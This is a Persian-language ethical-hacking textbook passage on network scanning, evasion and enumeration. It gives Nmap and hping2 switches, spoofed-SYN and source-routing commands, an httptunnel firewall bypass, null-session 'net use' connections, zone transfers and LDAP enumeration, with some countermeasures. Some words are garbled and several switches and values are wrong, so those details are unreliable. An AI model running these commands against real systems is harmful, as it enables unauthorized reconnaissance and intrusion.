Windows scan   اين نوع اسكن، مشابهACK scan هاي باز را شناساي كند تواند پورت است و مي.  

ACK scan  اين نوع اسكن، براي مشخص كردن قوانين فايروال است .ACK scan تنها بر روي يونيكس ،

  .كند كار مي

  

  :هاي دستوري آن عبارتند از برخي از سوئيچ. داراي تعداي سوئيچ دستوري است Nmapبراي انجام اسكن، 

 Nmapدستور   اسكن انجام شده

TCP connect scan -sT  
SYN scan -sS 

FIN scan -sF 

XMAS tree scan -sX 

Null scan -sN 

Ping scan -sP 

UDP scan -sU 

Protocol scan -sO 

ACK scan -sA 

Windows scan -sW 

RPC scan -sR 

List/DNS scan -sL 

Idle scan -sI 

Don't ping -Po 

TCP ping -PT 

SYN ping -PS 

ICMP ping -PI 

TCP and ICMP ping -PB 

ICMP timestamp -PB 

ICMP netmask -PM 

Normal output -oN 

XML output -oX 

Greppable output -oG 

All output -oA 

Serial scan; 300 sec between scans -T Paranoid 

Serial scan; 15 sec between scans -T sneaky 
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Serial scan; 4 sec between scans -T polite 

Parallel scan -T Normal 

Parallel scan, 300 sec timeout, and 1.25 sec/probe -T Aggressive 

Parallel scan, 75 sec timeout, and 3 sec/probe -T Insane 

  

هاي مناسب تايپ  را با يكي از سوئيچ Nmap IP addressويندوز عبارت  cmd، در Nmapبراي انجام اسكن 

، دستور زير TCP connectبا استفاده از نوع اسكن  192,168,0,1سيستمي به آدرس ي اسكن براي مثال، برا. كنيد

  :را وارد كنيد

Nmap 192.168.0.1 –sT  

HPING2  

را دارد و داراي قابليت تست فايروال، اسكن پيشرفته پورت، تست  Tracerouteابزار مبتني بر دستور است كه حالت 

برخي . است... پيشرفته و  Tracerouteاي مختلف، شناسايي سيستم عامل از راه دور، ه اي با استفاده از پروتكل شبكه

  :از دستورات اين ابزار به قرار زير است

Hping2 10.0.0.5  

  .كند ارسال مي 10.0.0.5كامپيوتر  0 به پورت TCP null-flagsاين دستور، يك بسته 

  

Hping2 10.0.0.5 –p 80  

 .كند ارسال مي 80اي به پورت  اين دستور، بسته

  

Hping2 –a 10.0.0.5 –s –p 81 10.0.0.25  

 .كند هدف ارسال مي 81جعلي به پورت  SYNهاي  بسته trusted partyاين دستور، از طريق يك 

  

Hping www.debian.org –p 80 –A  

  .كند ارسال مي ACKهاي  بسته www.debian.orgسايت  80به پورت دستور،  ناي

  

Hping www.yahoo.com –p 80 –A  

  .كند را بررسي مي IPIDهاي  اين دستور، پاسخ
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  FIN، و SYN ،Stealth ،XMAS ،NULL ،IDLEهاي  اسكن

SYN:  اسكنSYN  ياstealthاي  شود براي اينكه عمليات دست تكاني سه مرحله ، با نام اسكن نيمه باز ناميده مي

TCP اي  دست تكاني سه مرحله. كند را كامل نميTCP/IP هكر بسته . هاي بعدي توضيح داده خواهد شد در بخش

SYN كند اگر فريم  را به هدف ارسال ميSYN/ACK ،هدف ارتباط را كامل كرده و پورت  ،يعني برگشت داده شد

 SYNاياي اسكن مز. برگشت داده شد، يعني پورت يا فعال و يا بسته است RSTاگر . در حال گوش دادن است

stealth توانند آن را به عنوان حمله يا تلاش براي ارتباط تشخيص  هاي تشخيص نفوذ نمي اين است كه اغلب سيستم

  .دهند

  

XMAS: هاي  اسكنXMASاي را با  ، بستهflag  هايFIN ،URG  وPSH اگر پورت باز باشد، پاسخي . كند ارسال مي

تنها بر روي  XMAS scan. گرداند را برمي RST/ACKباشد، هدف، بسته  وجود نخواهد داشت اما اگر پورت بسته

  .كند هاي ويندوز كار نمي نسخه ايكنند و بر هستند كار مي RFC 793سازي  هايي كه داراي پياده سيستم

  

FIN:  اسكنFIN مشابه اسكن ،XMAS اي را كه تنها داراي  است اما بستهflag FIN كند است ارسال مي .FIN 

scan هاي  كند و همان محدوديت همان پاسخ را دريافت ميXMAS scan را دارد.  
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NULL: هاي اسكن  ها و پاسخ محدوديتNULL  مشابهXMAS  وFIN  اي را بدون  بستهاست اماflag  ارسال

  .كند مي

IDLE:  اسكنIDLE از آدرس ،IP  جعلي براي ارسال بستهSYN پورت بسته به پاسخ. كند به مقصد استفاده مي ،

  .كند ، تعيين ميIPهدر  sequence numberمانيتورينگ با ، پاسخ اسكن را IDLE scan. تواند باز يا بسته باشد مي

  

  

  TCPهاي ارتباط  flagانواع 

) way handshake-3(اي  ، پيش از ايجاد ارتباط و انتقال داده، نياز به دست تكاني سه مرحلهTCPارتباطات 

  .دهد ايجاد اين ارتباط را نشان مي شكل زير، مراحل. دارد

  

اي و ايجاد ارتباط موفقيت آميز بين دو سيستم، فرستنده بايستي يك  براي تكميل دست تكاني سه مرحله

 ACKو  SYNكه داراي بيت  TCPسپس، سيستم دريافت كننده، با بسته . ارسال كند SYNبا بيت  TCPبسته 

سيستم مبدا، بسته نهايي را با . است كه سيستم آماده دريافت داده است دهد كه نشان دهنده اين ا ميراست، پاسخ 

  .ها آماده ارسال شدن هستند دهد ارتباط كامل شده است و داده كند كه نشان مي ارسال مي ACKبيت 
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اندازي  ، فرآيند برقراري ارتباط، راهاست) connection-oriented(، يك پروتكل اتصال گرا TCPاز آنجائيكه 

. شود ناميده مي flagاين نشانگرهاي پروتكل، . د ارتباط قطع شده، و خاتمه ارتباط، بخشي از پروتكل استمجد

 TCPهاي  flagكرد لليست زير، عم. است FIN، و ACK ،RST ،SYN ،URG ،PSHهاي  flag، شامل TCPپروتكل 

  :دهد را نشان مي

SYN )Synchronize :(دكن ها شروع مي ارتباط را بين سيستم.  

ACK )Acknowledge :(سازد ها برقرار مي ارتباط را بين سيستم.  

PSH )Push :(كند سيستم، داده بافر شده را فروارد مي.  

URG )Urgent :(هاي داخل بسته، بايد سريعتر پردازش شوند داده.  

FIN )Finish :(ديگر انتقال انجام نگيرد.  

RST )Reset :(دكن اندازي مي ارتباط را دوباره راه.  

انواع . ، از شناسايي جلوگيري كندTCPها، به جاي تكميل كردن ارتباط كامل  flagتواند با استفاده از  هكر مي

كه در جدول زير ليست شده است توسط برخي از ابزارهاي اسكن براي دريافت پاسخ از يك سيستم يا  TCPاسكن 

  .شوداستفاده مي flagتنظيم 

Flags sent by hacker  XMAS Scan 

All flags set (ACK, RST, SYN, URG, PSH, FIN)  XMAS scan  
FIN  FIN scan  

No flags set  NULL Scan  
SYN, then ACK  TCP connect/full-open scan  
SYN, then RST SYN scan/half-open scan 
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FloppyScan  

محتواي آن، . رود پي ديسك بكار مييكي از ابزارهاي خطرناك هك است كه براي اسكن پورت با استفاده از فلا

mini Linux  است و با استفاده ازNMAPكند كند و از طريق ايميل، نتايج آن را راسال مي ها را اسكن مي ، پورت .

  .دهد را نشان مي FloppyScan شكل زير، مراحل

  

  ابزارهاي هك
IPEye يك اسكنر پورت ،TCP هاي  تواند اسكن است كه ميSYN ،FIN ،Null  وXMAS و يك ابزار . را انجام دهد
پورت . كند ها را پويش مي هاي روي سيستم هدف و پاسخ ، پورتIPEye .است )Command-Line( دستوريخط 
، به )reject(پاسخ رد . دهد به معناي اين است كه كامپيوتري وجود دارد اما به آن پورت گوش نمي ،)closed( بسته

به اين معنا است كه فايروال، هر ) drop(پاسخ دور انداختن . كند باط با آن پورت را رد مياين معناست كه فايروال، ارت
ها  به اين معناست كه برخي از سرويس) open(پاسخ باز . اندازد يا كامپيوتر وجود ندارد چيزي را روي پورت دور مي

  .دهند به آن پورت گوش مي
  

IPSecScanآدرس تواند تنها يك ، ابزاري است كه مي IP ها را جستجو كند تا ببيند اي از آدرس يا بازه IPSec  بر
  .ها فعال است روي كداميك از سيستم

  
Hping2هاي  هاي ديگري همچون پروتكل قابليت علاوه بر شناسايي سيستم عامل، دارايينكه ، قابل توجه است براي ا

TCP ،UDP ،ICMP ،traceroue modeها بين سيستم منبع و مقصد است ، و قابليت ارسال فايل.  
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SNMP Scannerهاي كوئري ها را با استفاده از اي از سيستم دهد بازه ، به شما اجازه مي ping ،DNS ، وSNMP 
  .اسكن كنيد

  
Netscan Tools Pro 2000, Hping2, KingPingicmpenum  وSNMP Scanner توانند  ابزارهايي هستند كه مي

  .براي شناسايي سيستم عامل استفاده شوند

  

  War-Dialingهاي  تكنيك

War dialing فرآيند تماس با شماره مودم براي يافتن ارتباط باز مودم است كه اجازه دسترسي از راه دور را ،

ها از طريق مودم  ، از اولين روزهاي اينترنت به وجود آمد زمانيكه اغلب شركتwar dialingكلمه . به يك شبكه بدهد

dial-up نت متصل بودندبه اينتر. War dialingشود براي اينكه به دنبال ارتباطات  ، به عنوان روش اسكن شناخته مي

بسياري از . تري باشد گردد كه ممكن است نسبت به ارتباط اينترنتي اصلي، داراي امنيت پايين اي ديگري مي شبكه

توان  كه امروزه منسوخ شده هستند ولي نمي كنند كه هر چند اندازي مي را راه remote accessهاي  ها، مودم سازمان

اي براي وارد شدن به شبكه  شود كه هكرها روش ساده اين باعث مي. را حذف كرد remote-accessاين سرورهاي 

كنند كه پسورد را بصورت غير  استفاده مي PAPهاي دسترسي راه دور، از  براي مثال، بسياري از سيستم. پيدا كنند

  .كند نام دارد، پسوردها را رمز مي VPNكند در حاليكه تكنولوژي جديد كه  رمز شده ارسال مي

  

. را كنترل نكنند) dial-in(هاي ورودي  ها، پورت ند كه شركتنك ، در شرايطي كار ميWar-dialingابزارهاي 

تواند  تباطات مودم، مياين ار. كنند بسياري از سرورها، هنوز هم از مودم با خط تلفن به عنوان پشتيبان استفاده مي

  .براي ايجاد دسترسي به سيستم و شبكه داخلي استفاده شود war-dialingبراي برنامه 

  ابزارهاي هك
THC-Scan, ModemScan, ToneLoc, Phonesweep, war dialer  وtelesweep ابزارهايي هستند كه شماره ،

اين ابزارها، با . ي كند تا ارتباطي با مودم كامپيوتر برقرار كندتواند هدف را شماره گير كند و مي ها را شناسايي مي تلفن
بسياري از  .كنند تا بتوانند به سيستم متصل شوند هاي كاربري و كلمات عبور پيش فرض كار مي استفاده از نام

  .ارتباطات از راه دور، به خاطر اين پسوردها امن نيستند
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  و شناسايي سيستم عامل Banner Grabbingهاي  تكنيك

Banner Grabbing  پشته  شناساييو شناسايي سيستم عامل، كه به عنوانTCP/IP شود، شناخته مي 

ها را روي شبكه پيدا  دهد آسيب پذيري ، به هكر اجازه ميشناساييفرآيند . چهارمين مرحله در متدلوژي اسكن است

، Banner grabbing. ايجاد دسترسي به يك سيستم يا شبكه هستندترين روش براي  به دنبال ساده هكرها،. كند

 بو، و FTPها،  بسياري از ايميل. فرآيند باز كردن يك ارتباط و خواندن بنر يا پاسخ ارسال شده توسط برنامه است

، تنها Microsoft Exchangeي مثال، يك سرور برا. دهند افزار پاسخ مي با اسم و نسخه نرم telnetبه ارتباط  سرورها

  . بر روي سيستم عامل ويندوز قابل نصب است

براي اينكه . ها به سوي سيستمي براي ديدن نحوه پاسخ آن است اكتيو پشته، شامل ارسال داده شناسايي

سپس، . ا متفاوت استكنند بنابراين نحوه پاسخ آنه مختلفي استفاده مي TCPهاي  هاي مختلف، از پشته سيستم عامل

شود و نوع سيستم عامل  هاي مختلف وجود دارد، مقايسه مي اي كه از پاسخ سيستم عامل ها با پايگاه داده اين پاسخ

هاي متعددي را براي ارتباط با  تلاش ،اين نوع شناسايي، قابل تشخيص است براي اينكه سيستم. شود كشف مي

  .كند سيستم هدف مي

دهد تا نوع سيستم  تر است براي اينكه ترافيك شبكه را مورد بررسي قرار مي زيركانهشناسايي پسيو پشته، 

معمولا، شناسايي پسيو . كند استفاده مي sniffingهاي  هاي اسكن، از تكنيك عامل را كشف كند و به جاي تكنيك

  .ناسايي اكتيو استهاي ديگر امنيتي غير قابل تشخيص است اما صحت آن كمتر از ش يا سيستم IDSپشته، توسط 

  .ك سايت استفاده كنيدي banner grabbingبراي ، telnetتوانيد از  شما مي

telnet www.certifiedhacker 80 head / http/1.0  

براي اينكار از . توانيد اطلاعات خوبي در مورد سيستم عامل راه دور بدانيد مي pofهمچنين با استفاده از ابزار 

 Miart و Httprintابزارهاي ديگري همچون  زا .استفاده كنيد <pof –I <your interface card numberدستور 

HTTP Header توانيد از ابزارهاي  نيز ميپشته براي شناسايي اكتيو  .براي اينكار استفاده كنيدXPROBE2 ،PING 

V2 ،Netcraft استفاده كنيد.  

  :دينر استفاده كاز ابزارهاي زي ديتوان نيز مي اه يآسيب پذيربراي اسكن 

• Bidiblah 

• Qualys Web-based Scanner (www.qualys.com/eccouncil) 

• SAINT 

• ISS Security Scanner 

• Nessus (for Softwares) 
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• GFI LANGuard 

• SATAN 

• Retina 

• Nagios 

• NIKTO (for Web Servers) 

• SAFEsuite Internet Scanner 

• IdentTCPScan 

  

  آسيب پذير هاي اي از دستگاه رسم دياگرام شبكه

  :دينهاي آسيب پذيري كه در شبكه وجود دارند رسم ك توان دياگرامي از دستگاه مي با استفاده از ابزارهاي زير 

• FriendlyPinger 

• LANsurveyor 

• Ipsonar 

• LANState 

• Insightix Visibility (www.insightix.com) 

• IPCheck Server Monitor (www.paessler.com) 

• PRTG Traffic Grapher 

  

  شوند؟ سرورهاي پروكسي در انجام حمله استفاده مي زاچگونه 

، )proxy server(يك سرور پروكسي . سازي سرورهاي پروكسي، آخرين مرحله از متدلوژي اسكن است آماده

با استفاده از سرور پروكسي، هكر  .كند كامپيوتري است كه به عنوان ميانجي بين هك و كامپيوتر هدف عمل مي

كند و سپس درخواست ارتباطي با  هكر ابتدا ارتباطي با سرور پروكسي برقرار مي. روي شبكه، ناشناس باشدتواند  مي

سازد بطور ناشناس بر روي وب  هكر را قادر مي ،اين قابليت. كند كامپيوتر هدف از طريق ارتباط موجود با پروكسي مي

  .بگردد و يا اينكه حملات خود را مخفي كند
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  :روند عبارتند ازبراي اين منظور به كار ميابزارهايي كه 

• SocksChain 

• Proxy Workbench 

• ProxyManager 

• Super Proxy Helper 

• MultiProxy 

• TOR Proxy Chaining Software 

• Proxy Finder 

• ProxyBag 

• AutomatedProxy Leecher 

  

  كنند؟ كار ميچگونه ها  ناشناس كننده

 اهنآ كنند يفخمكنند گردش در وب را  هايي هستند كه تلاش مي سرويس) Anonymizer(ها  ناشناس كننده

. دنده كند، انجام مي اين كار را با استفاده از وب سايتي كه به عنوان پروكسي بين سرور براي كلاينت عمل مي

د نكن ها، تمام اطلاعات شناسايي از كامپيوترهاي كاربران را در طول استفاده از اينترنت پاك مي ناشناس كننده

سايت را داخل  براي ديدن وب سايت بصورت ناشناس، هكر، آدرس وب .شود نابراين حريم خصوصي كاربر حفظ ميب

افزار، درخواست را به سايت انتخاب شده ارسال  كند و اين نرم وارد مي) Anonymizer(كننده  افزار ناشناس نرم
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شوند بنابراين، رديابي درخواست كنده  داده ميها و صفحات، به سايت ناشناس كننده پاسخ  تمام درخواست. دكن مي

  .شود واقعي صفحه وب بسيار مشكل مي

  :از ابزارهاي زير براي ناشناس بودن استفاده كنيد

• StealthSurfer 

• Browzar 

• Torpak Browser 

• GetAnonymous 

• IP Privacy 

• Anonymity 4 Proxy  

• Psiphon 

• AnalogX Proxy 

• NetProxy 

• Proxy+ 

• ProxySwitcher Lite 

• JAP 

• Proxomitron 

  HTTP Tunnelingهاي  تكنيك

از ) SMTPهمچون (نل براي پروتكل بلاك شده و، استفاده از تها IDSيك روش رايج براي دور زدن فايروال يا 

ها به عنوان يك پروكسي بين  و فايروالها  IDSتقريبا همه . است) HTTPهمچون (طريق يك پروتكل داراي مجوز 

  .دهند كنند و تنها ترافيك مجاز را عبور مي نت و اينترنت عمل مييك كامپيوتر كلاي

 HTTPتواند با استفاده از ابزار  بنابراين يك هكر ميدهند  را مي HTTPها، اجازه عبور ترافيك  اغلب شركت

tunnelingاز قبيل (هايي كه توانايي تخريب دارند  ، و با مخفي كردن پروتكلIM تكل داخل يك بسته پرو) يا چت

  .ديگر، پروكسي را از كار بياندازد

  

  براي ويندوز Httptunnelابزار 

به كامپيوتري  telnetتواند بصورت  كند و مي ايجاد مي HTTPهاي  ارتباط مجازي دو طرفه در قالب درخواست

تمام  ،80خواهيد كه پورت  را اجرا كنيد اگر مي htsشما بايد بر روي سرور، . در بيرون از فايروال متصل شد

  :، از دستور زير استفاده كنيدهدايت كنيدرا  23هاي روي پورت  ترافيك

Hts –F server.text.com:23 80 

  

www.ketabha.org



 

53 

 

  

استفاده كنيد  P–خواهيد از طريق يك پروكسي عبور كنيد از سوئيچ  اگر مي. را اجرا كنيد htcو بر روي كلاينت نيز 

  .وگرنه از آن صرف نظر كنيد

htc -P proxy.corp.com:80 -F 22 server.test.com:80  

سرور را به  80روي پروكسي سرور و روي پورت  80كنيد كه ترافيك خارج از پورت  localhost ،telnetسپس به 

  .هدايت خواهد كرد 23پورت 

  

  

  IP Spoofingهاي  تكنيك

. عل كندرا ج IPهاي هدف، يك آدرس  تواند در زمان اسكن سيستم شناسايي، هكر مي احتمالبراي كاهش 

  .تواند بطور موفقيت آميز كامل شود نمي TCPاين است كه نشست ) IP )IP Spoofingيكي از معايب جعل آدرس 
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دهد مسيري كه يك بسته از طريق اينترنت حركت  ، به هكر اجازه مي)source routing(مسيريابي مبدا 

هايي كه ممكن است حمله را شناسايي  روالو فاي IDSبا دور زدن  شود اين كار باعث مي. كند را مشخص كند مي

در اين تكنيك، هكر بايد خود را داخل مسيري كه ترافيك بصورت طبيعي از  .يي كاهش يابدشناسا احتمالكنند، 

  .گردد، تزريق كند مقصد به منبع برمي

  

واقعي  TTL هكر با TTL: را مقايسه كنيد TTLتوانيد مقدارهاي  ، ميIP address spoofingبراي تشخيص 

  .آدرس جعل شده متفاوت است

  :شوند عبارتند از دستوراتي كه براي مسيريابي مبدا استفاده مي

tracert -j 10.0.0.50 10.0.0.5 

hping2 -G 10.0.0.50 10.0.0.5  

  .را در روتر غير فعال كرد IP Source Routingبراي پيشگيري از آن، بايستي 

  

Enumeration  

هاي كاربري، نام  آوري و كامپايل كردن نام افتد كه فرآيند جمع اتفاق مي enumerationپس از اسكن، 

همچنين كوئري اكتيو براي اتصال به يك سيستم هدف براي كسب اين . ها است ها، منابع شبكه، و سرويس ماشين

  .اطلاعات است

را براي هك سيستم هدف شناسايي حساب كاربري يا حساب سيستمي  اين است كه enumerationهدف 

 .توانند افزايش يابند ها مي ضرورتي ندارد كه حساب مدير سيستم را پيدا كنيد براي اينكه اغلب سطح دسترسي. كند

دهد، اين ابزارها،  براي هر سيستمي كه پاسخ مي. اند ها طراحي شدهشبكه IPبسياري از ابزارهاي هك، براي اسكن 

  .دهند را ارائه مي MAC addressر، نام كاربري كاربر سيستم، و اطلاعات ، نام كامپيوتIPآدرس 
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براي اينكار از . استفاده شود NetBIOSتواند براي شناسايي نام  مي new view، ابزار 2000در دامين ويندوز 

  :استفاده كنيد و عبارت زير را تايپ كنيد net viewدستور 

New view / domain 

Nbtstat –A IP address  

  .هاي كامپيوترهاي شبكه، قابل مشاهده است shareبا اينكار، كامپيوترهاي عضو دامين و 

  

Null Session  

Null session افتد كه بدون نام كاربري و پسورد وارد سيستم شويد زماني اتفاق مي .NetBIOS null 

sessions بسته به سيستم عامل، به عنوان آسيب پذيري در ،CIFS  ياSMB است.  

  .كند استفاده مي CIFSيونيكس از /و لينوكس SMBويندوز، از 

  

تواند  با يك سيستم برقرار كند، مي null sessionرا با استفاده از  NetBIOSزمانيكه هكر توانست يك ارتباط 

و  SMBاستانداردهاي . ها دسترسي داشته باشد سرويس وها،  ها، مجوزها، سياست shareها،  ها، گروه به همه حساب

NetBIOS  در ويندوز، شاملAPI  دهد يم، اطلاعاتي را درباره سيستم 139هايي هستند كه از طريق پورت.  

از طريق دستور . است $IPCبه سيستم ويندوز، استفاده از  NetBIOS null sessionيك روش براي اتصال يك 

net use دستور . قابل دسترسي استnet use ويندوز است براي اتصال به  كه به عنوان دستوراتshare هاي كامپيوتر

خواهيد بدون استفاده از نام كاربري و پسورد نشان دهنده اين است كه شما مي) ""(علامت . شودديگر استفاده مي

با حساب كاربري ناشناس با  192,21,7,1به يك سيستم با آدرس  NetBIOS null sessionبراي ايجاد . وصل شويد

  :از عبارت زير استفاده كنيد net useدستور  استفاده از
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Windows:                       C:\> net use \\192.21.7.1\IPC$ “” /u: “” 

Linux:                             $ smbclient \\\\target\\ipc\$ “” –U “” 

هاي ديگر  تواند براي ابزارها و تكنيك با موفقيت به پايان رسيد، هكر كانالي دارد كه مي net useزمانيكه دستور 

  .كند از آن استفاده

  :شوند عبارتند از ابزارهايي كه براي اين منظور استفاده مي

DumpSec ،NetView ،Nbtstat ،SuperScan ،enum ،sid2user ،user2sid ،GetAcct.  

  

 Null Sessionمقابله با 

Null sessions445و  139، 137، 135هاي  ، از پورت TCP هاي مقابله با  يكي از روشپس . كند استفاده مي

روي  SMBتوان با غير فعال كردن سرويس  همچنين مي. ها بر روي سيستم هدف است آن، بستن اين پورت

براي اينكار، مراحل زير را انجام . كرد جلوگيريآن  وقوع ، از)TCP/IP WINS clientغير فعال كردن (ها  دستگاه

  :دهيد

 .را انتخاب كنيد propertiesت شبكه راست كليك كنيد و گزينه بر روي كار .1

 .را كليك كنيد Propertiesكليك كنيد و سپس دكمه  TCP/IPبر روي  .2

 .كليك كنيد Advancedبر روي دكمه  .3

 .را انتخاب كنيد disable NetBIOS Over TCP/IP، گزينه WINSدر زبانه  .4

  

براي . كاربر ناشناس را ندهد هبا ويرايش كند تا اجازه ورود تواند بطور مستقيم رجيستري ر مدير امنيتي مي

  :سازي آن، مراحل زير را انجام دهيد پياده

1. Regedt32  را باز كنيد و وارد مسيرHKLM\SYSTEM\CurrentControlSet\LSA شويد. 

 :را انتخاب كنيد و مقادير زير را وارد كنيد Add Value، گزينه Editاز منوي  .2

a. Value name: RestrictAnonymous 

b. Data Type: REG_WORD 

c. Value: 2 
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  .برخي از اين ابزارها نياز به احراز هويت دارند. است enumerationشامل ابزارهايي براي  PS Toolsهمچنين، 

PsExec :ها اجراي از راه دور پردازش  

PsFile : هاي باز شده از راه دور فايلنمايش  

PsGetSid:  نمايشSID كاربر يك كامپيوتر يا يك  

PsKill: نام يا شماره پردازش زا هدافتسابا ها  پردازش ندرك فقوتم  

PsInfo: سيستماطلاعات  شيامن  

PsList: ها درباره پردازش يئزجاطلاعات  شيامن  

PsLoggedOn:  كسي را كه بصورتlocal  و از طريق منابعshare دهد اند را نشان مي وارد شده  

PsLogList :دهاي ركور نتخادنا راك زاlog  

PsPasswd :ها پسورد اكانت رييغت  

PsService :ها سرويس لرتنك  

PsShutdown :كامپيوتر ددجم يزادنا هار اي شوماخ  

PsSuspend :ها پردازش ندرك قلعم  

PsUptime :ستميس ندوب نشور نامز تدم نييعت  

  

SNMP Enumeration چيست؟  

روي سيستم هدف وجود هاي كاربري  شويم كه حساب ، مطمئن ميSNMPفرآيندي است كه با استفاده از 

هاي  ، كه بر روي دستگاهSNMP agent: كند افزاري براي ارتباطات استفاده مي ، از دو نوع عنصر نرمSNMP. دارند

  .كند ارتباط برقرار مي agentكه با  SNMP management stationشبكه قرار دارد و 

 SNMPهاي ويندوزي، شامل  ها و نيز سيستم هاي زيرساختي شبكه از قبيل روترها و سوئيچ بسياري از دستگاه

agent شود هستند كه براي مديريت سيستم يا دستگاه استفاده مي. SNMP management station درخواستي به ،

agent كند و  ها ارسال ميagent دهند ها پاسخ را مي .Trap  ها بهmanagement station د اطلاعات نده اجازه مي
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از اي  ، پايگاه دادهMIB. رخ دهد را بداند از قبيل ريستارت يا مشكل كارت شبكه agentافزار  مهمي كه در نرم

  .متغيرهاي پيكربندي است كه در دستگاه شبكه قرار دارد

SNMPسترسي و پيكربندي ، دو پسورد دارد كه براي دSNMP agent  ازmanagement station  استفاده

دهد كه دستگاه يا سيستم  اين پسورد به شما اجازه مي. نام دارد read community stringاولين پسورد، . شود مي

رايش شود كه براي تغيير يا وي ناميده مي read/write community stringدومين پسورد،  .خود را پيكربندي كنيد

 read/writeاست و  publicپيش فرض،  read community stringبطور كلي، . پيكربندي دستگاه است

community string  ،پيش فرضprivate آيد كه  ترين مشكلات امنيتي زماني پيش مي يكي از رايج. است

community string پسوردهاي پيش فرض براي تواند از اين  هكر مي. ها بصورت تنظيمات پيش فرض باقي بمانند

  .مشاهده يا تغيير پيكربندي دستگاه استفاده كند

  .ها را ببينيد بسياري از دستگاه توانيد پسوردهاي پيش فرض مي www.defaultpasssword.comدر سايت 

  

 enumerationبراي  SNMPutil ،Solarwinds ،SNScan ،Getif ،UNIX Enumerationابزارهايي از قبيل 

  .شوند ه مياستفاد

  

  SNMP enumerationمقابله با 

هاي هدف، را در سيستم SNMP agent، اين است كه SNMP enumerationترين راه براي جلوگيري از ساده

 communityرا خاموش كنيد، پس بايستي  SNMPتوانيد  اگر نمي .را خاموش كنيد SNMPحذف كنيد يا سرويس 

string تواند  علاوه بر اين، مدير امنيتي مي. دهاي پيش فرض را تغيير دهيGroup Policy سازي كند تا  امني را پياده

  .را محدود كند SNMPارتباطات ناشناس 

  

  2000در ويندوز  DNS Zoneانتقال 

عبارت استفاده از اين دستور به . انجام داد nslookupتوان با استفاده از دستور  ساده را مي zone transferيك 

  :استقرار زير 

Nslookup ls  –d domainname 

هاي  گردد براي اينكه آنها اطلاعات زيادتري درباره سرويس ، هكر به دنبال ركوردهاي زير ميnslookupبا نتايج 

  :دهد شبكه مي

www.ketabha.org



 

59 

 

  

• Global Catalog service (_gc._tcp_) 

• Domain controllers (_ldap._tcp) 

• Kerberos authentication (_kerberos._tcp) 

  .از آن جلوگيري كرد DNS serverپنجره  propertiesتوان از طريق  براي مقابله با آن مي

، LDAPتوان با كوئري ساده  بنابراين مي .است LDAP، پايگاه داده مبتني بر اكتيو دايركتوري پايگاه داده

اد يك نشست احراز هويت از تنها چيزي كه براي اينكار لازم است ايج. هاي موجود را شناسايي كرد كاربران و گروه

) Active Directory Administration Tool )ldp.exeكه  Windows 2000 LDAP client. است LDAPطريق 

توانيد اين  مي. كند شود و محتواي پايگاه داده را شناسايي مي شود، به سرور اكتيو دايركتوري متصل مي ناميده مي

  .آن را پيدا كنيد Support\Reskit\Netmgmt\Dstoolو در مسير  2000ويندوز  CDفايل را در 

  :براي انجام اين حمله بايد مراحل زير را انجام دهيد

زمانيكه اتصال كامل شد، . به سرور اكتيو دايركتوري متصل شويد 389با پورت  ldp.exeبا استفاده از  .1

 .شود اطلاعات سرور نمايش داده مي

نام كاربري، كلمه عبور و نام دامين را . را انتخاب كنيد Authentication، گزينه Connectionدر منوي  .2

 .يا هر حساب ديگري استفاده كنيد Guestتوانيد از حساب  مي. تايپ كنيد

از منوي  Searchهاي ساخته شده را با استفاده از گزينه  كاربران و گروه زمانيكه احراز هويت كامل شد، .3

Browse ببينيد.  

  :شود منظور استفاده مي ابزارهاي زير براي اين

• JXplorer 

• LdapMiner 

• Softerra LDAP Browser 

• NTP Enumeration 

• SMTPscan 

• Asnumber 

• Lynx 

• Winfingerprint 

• IP Tools Scanner 

• NBTScan 

• NetViewX 

• FreeNetEnumerator 

• Terminal Service Agent 

• TXDNS 

• Unicornscan 
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  شوند؟ ميانجام  enumerationچه مراحلي در 

مراحل زير، مثالي از آنهايي كه هكرها براي . مند عمل كنندبايد هكرها در رويكرد هك كردنشان، بصورت روش

  :دهد دهند را نشان مي سازي سيستم هدف براي حمله انجام مي آماده

 .استخراج كنيد enumerationهاي كاربري را با استفاده از  نام .1

 .آوري كنيد جمع null sessionه از ها را با استفاد اطلاعات دستگاه .2

 .را انجام دهيد Superscan ،Windows enumerationبا استفاده از ابزار  .3
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  مقدمه

ريد كه چرخه هك شامل وبه ياد بيا. هاي مختلف هك سيستم بحث خواهيم كرد در اين فصل، در مورد جنبه

سطح كه در اين فصل، در مورد پنج مرحله ديگر از چرخ هك كه شامل شكستن پسورد، افزايش . شش مرحله است

  .بحث خواهيم كرد ،تساها و پاك كردن رد پا  ها، مخفي كردن فايل دسترسي، اجراي برنامه

  

  هاي شكستن پسورد تكنيك

زمانيكه كاربران، پسورد را ايجاد . دنتسهكليدي از اطلاعات مورد نياز براي دسترسي به سيستم  شاهپسوردها، 

كنند  خاب ميتبسياري از مردم، پسوردي را ان .شكستن داردكنند كه قابليت  كنند، معمولا پسوردي را انتخاب مي مي

بخاطر اين . تر باشد تا به خاطر آوردن آن ساده كنند به عنوان پسورد انتخاب ميشان را  كه ساده باشد مثلا نام سگ

ي براي افزايش سطح دسترسي، فاكتورهاي انساني، شكستن بسياري از پسوردها موفقيت آميز است و نقطه آغاز

شكسته توانند بصورت دستي  پسوردها مي. رود ها، و از بين بردن ردپا به شمار مي سازي فايل ها، مخفي راي برنامهاج

  .، بصورت اتوماتيك شكسته شوندbrute-forceشوند و يا اينكه با استفاده از ابزارهايي از قبيل روش ديكشنري يا 

  

هكر مراحل زير را انجام . با پسوردهاي مختلف استشكستن دستي پسورد، شامل تلاش براي ورود به سيستم 

  :دهد مي

 ).Guestيا  Administratorمثل (كند  حساب كاربري معتبري را پيدا مي .1

 .كند ليستي از پسوردهاي ممكن را تهيه مي .2

 .كند پسوردها را به ترتيب احتمال مرتب مي .3

 .كند پسوردها را امتحان مي .4

 .صحيح را پيدا كنددهد كه پسورد  تا جائي ادامه مي .5
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اين روش، كرك كردن . تواند فايل اسكريپتي تهيه كند كه پسوردهاي موجود در ليست را امتحان كند هكر مي

  .پسورد بصورت دستي است كه زمان گير است و در بسياري از موارد موفقيت آميز نيست

  

ها،  بسياري از سيستم. يك روش موثر براي شكستن پسورد، دسترسي به فايل حاوي پسوردها در سيستم است

، نام كاربري با استفاده از همان ورود به سيسيتمفرآيند در طول . كند مي hashپسورد را براي ذخيره بر روي سيستم، 

. شود در يك فايلي ذخيره شده است مقايسه مي hashشود و سپس با پسوردي كه قبلا بصورت  مي hashالگوريتم، 

كه در سرور ذخيره شده است  hashتواند تلاش كند كه به جاي اينكه پسورد را حدس بزند، به الگوريتم  هكر مي

  .و به پسوردهاي ذخيره شده بر روي سرور دسترسي داشته باشد دسترسي پيدا كند

